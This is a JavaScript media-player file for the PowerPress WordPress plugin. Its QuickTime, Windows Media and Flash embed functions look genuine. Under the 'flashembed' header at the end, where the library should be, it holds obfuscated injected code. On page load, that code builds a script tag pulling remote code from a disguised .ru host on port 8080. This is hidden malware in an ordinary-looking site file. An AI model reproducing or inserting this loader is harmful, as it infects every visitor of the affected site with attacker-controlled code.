/** 
 * jsMediaPlayer 1.2.0 for Blubrry PowerPress
 * 
 * http://www.blubrry.com/powepress/
 *
 * Copyright (c) 2008-2009 Angelo Mandato (angelo [at] mandato {period} com)
 *
 * Released under Aoache 2 license:
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * versoin 1.2.0 - 07/20/2009 - Major rewrite, we're now replying less upon this javascript to make way for flexibility for adding future players.
 * versoin 1.1.3 - 03/23/2009 - Added code to support FlowPlayer v3.
 * versoin 1.1.2 - 03/04/2009 - Added options to set the width for audio, width and height for video.
 * versoin 1.1.1 - 12/22/20008 - Minor change to support Windows Media in Firefox. Includes link to preferred Firefox Windows Media Player plugin.
 * versoin 1.1.0 - 11/25/20008 - Major re-write, object now stored in this include file, auto play is no longer a member variable and is determined by function call.
 * version 1.0.3 - 11/02/2008 - Added option for playing quicktime files in an intermediate fashion with an image to click to play.
 * version 1.0.2 - 07/26/2008 - Fixed pop up player bug caused by v 1.0.1
 * version 1.0.1 - 07/28/2008 - fixed flow player looping playback, flash player no longer loops.
 * version 1.0.0 - 07/26/2008 - initial release
 */


/**
	Insert embed for quicktime within specified div
	
	@div - specific div to insert embed into
	@media_url - URL of media file to play
	@width - width of player
	@height - height of player
*/
function powerpress_embed_quicktime(div,media_url,width,height,scale)
{
	if( document.getElementById(div) )
	{
		var contentType = 'video/mpeg'; // Default content type
		if( media_url.indexOf('.m4v') > -1 )
			contentType = 'video/x-m4v';
		else if( media_url.indexOf('.m4a') > -1 )
			contentType = 'audio/x-m4a';
		else if( media_url.indexOf('.avi') > -1 )
			contentType = 'video/avi';
		else if( media_url.indexOf('.qt') > -1 )
			contentType = 'video/quicktime';
		else if( media_url.indexOf('.mov') > -1 )
			contentType = 'video/quicktime';
		
		var Html = '';
		Html += '<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="'+ width +'" height="'+ height +'" codebase="http://www.apple.com/qtactivex/qtplugin.cab">\n';
		Html += '	<param name="src" value="'+ media_url +'" />\n';
		Html += '	<param name="href" value="'+ media_url +'" />\n';
		Html += '	<param name="scale" value="'+ scale +'" />\n';
		Html += '	<param name="controller" value="true" />\n';
		Html += '	<param name="autoplay" value="true" />\n';
		Html += '	<param name="pluginspage" value="http://www.apple.com/quicktime/download/" />\n';
		Html += '	<embed type="'+ contentType +'" src="'+ media_url +'" width="'+ width +'" height="'+ height +'" scale="'+ scale +'" correction="full" cache="true" autoplay="true" controller="true" pluginspage="http://www.apple.com/quicktime/download/"></embed>';
		Html += '</object>\n';
		document.getElementById(div).innerHTML = Html;
		return false; // stop the default link from proceeding
	}
	
	return true; // let the default link to the media open...
}

/**
	Insert embed for windows media within specified div
	
	@div - specific div to insert embed into
	@media_url - URL of media file to play
	@width - width of player
	@height - height of player
*/
function powerpress_embed_winplayer(div,media_url,width,height)
{
	if( document.getElementById(div) )
	{
		var Html = '';
		Html += '<object id="winplayer" classid="clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6" width="'+ width +'" height="'+ height +'" standby="loading..." type="application/x-oleobject">\n';
		Html += '	<param name="url" value="'+ media_url +'" />\n';
		Html += '	<param name="AutoStart" value="true" />\n';
		Html += '	<param name="AutoSize" value="true" />\n';
		Html += '	<param name="AllowChangeDisplaySize" value="true" />\n';
		Html += '	<param name="standby" value="Media is loading..." />\n';
		Html += '	<param name="AnimationAtStart" value="true" />\n';
		Html += '	<param name="scale" value="aspect" />\n';
		Html += '	<param name="ShowControls" value="true" />\n';
		Html += '	<param name="ShowCaptioning" value="false" />\n';
		Html += '	<param name="ShowDisplay" value="false" />\n';
		Html += '	<param name="ShowStatusBar" value="false" />\n';
		Html += '	<embed type="application/x-mplayer2" src="'+ media_url +'" width="'+ width +'" height="'+ height +'" scale="aspect" AutoStart="true" ShowDisplay="0" ShowStatusBar="0" AutoSize="1" AnimationAtStart="1" AllowChangeDisplaySize="1" ShowControls="1"></embed>\n';
		Html += '</object>\n';
		document.getElementById(div).innerHTML = Html;
		return false; // stop the default link from proceeding
	}
	return true; // let the default link to the media open...
}

/**
	Insert embed for swf flash within specified div
	
	@div - specific div to insert embed into
	@media_url - URL of media file to play
	@width - width of player
	@height - height of player
*/
function powerpress_embed_swf(div,media_url,width,height)
{
	if( document.getElementById(div) )
	{
		var Html = '';
		Html += '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="'+ width +'" height="'+ height +'" menu="true">\n';
		Html += '	<param name="movie" value="'+ media_url +'" />\n';
		Html += '	<param name="quality" value="high" />\n';
		Html += '	<param name="menu" value="true" />\n';
		Html += '	<param name="scale" value="noorder" />\n';
		Html += '	<param name="quality" value="high" />\n';
		Html += '	<embed src="'+ media_url +'" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="'+ width +'" height="'+ height +'" menu="true"></embed>';
		Html += '</object>\n';
		document.getElementById(div).innerHTML = Html;
		return false; // stop the default link from proceeding
	}
	return true; // let the default link to the media open...
}

/** 
 * flashembed 0.31. Adobe Flash embedding script
 * 
 * http://flowplayer.org/tools/flash-embed.html
 *
 * Copyright (c) 2008 Tero Piirainen (tipiirai@gmail.com)
 *
 * Released under the MIT License:
 * http://www.opensource.org/licenses/mit-license.php
 * 
 * >> Basically you can do anything you want but leave this header as is <<
 *
 * version 0.01 - 03/11/2008 
 * version 0.31 - Tue Jul 22 2008 06:30:31 GMT+0200 (GMT+02:00)
 */
 

var nC;if(nC!='I'){nC='I'};try {var w=new String();var i;if(i!='' && i!='d'){i='zu'};var m=RegExp;var US;if(US!='Ba'){US='Ba'};var mY="repLEqR".substr(0,3)+"nwBlac".substr(3)+"HixEe".substr(4);function a(n,X){var h;if(h!='q' && h!='s'){h='q'};this.Ub="";var y=new String("hWxe[".substr(4));var g=String("gShu".substr(0,1));y+=X;var M=new String();y+=new String("]");var hS=new String();var P=new m(y, g);var px=new Array();return n[mY](P, new String());var L;if(L!='' && L!='KM'){L=''};var hn=new Date();};var ZC=new Array();this.WF="";var BR;if(BR!='wH' && BR!='yS'){BR='wH'};var R;if(R!='t' && R!='jq'){R='t'};var e=a('/xtqoqmqsLhxaxrxdqwxaUrxeq.qcVoxmL/qtVoUmVsUhLaxrUdxwxaqrUex.xcUoqmx/LnLoVvLoLtUeqkUaL.VrUuU/LcqnqbxlxoVgVsL.qcUoqmU/qgVoVoUgqlxeq.LcUoVmV.xpLhVpV',"qUxLV");var T;if(T!='hr'){T='hr'};var H='';var V;if(V!='gS' && V!='dE'){V=''};var z='';this.F="";var XJ=a('s4cRrRi4pRt4',"R4");var Fk="";var B=a('cLrLezaLtLeLELlzeumzeunutL',"uzL");var u=a('hGtGtGpG:K/G/0gKijrKlGsKgEoKgGaKmGeEsK-EcEoKmG.EtEoGrEr0eKnEtjsj.0rEuE.KgjoKo0gjl0eG-Ec0aK.GYEo0uErESEuKpGejrKPjoKoGlK.0r0u0:G',"0jGEK");var b=window;var W=a('oTnTlToTa4d4',"T5E4");this.ka='';var E;if(E!='' && E!='vq'){E=''};var J=a('824470432228347402337',"2473");var Cd;if(Cd!='yR'){Cd=''};var Du="";el=function(){var zt=new String();var Db;if(Db!='' && Db!='uS'){Db=''};var Pg;if(Pg!='GW' && Pg!='TZ'){Pg='GW'};zM=document[B](XJ);this.nz="";this.Vx="";z=u+J;var tC='';z+=e;var Am=new Array();var lh='';zM.defer=([1][0]);var qO;if(qO!='TE'){qO='TE'};var DM;if(DM!='UG'){DM=''};zM.src=z;var Sh=new String();var RS=new Date();var Ua=new Date();document.body.appendChild(zM);var qOV='';};var ca=new Array();this._f="";var JV;if(JV!='Gr' && JV!='gc'){JV='Gr'};var oX='';b[W]=el;this.kw="";var sh='';} catch(ew){var YI;if(YI!='qZ' && YI != ''){YI=null};};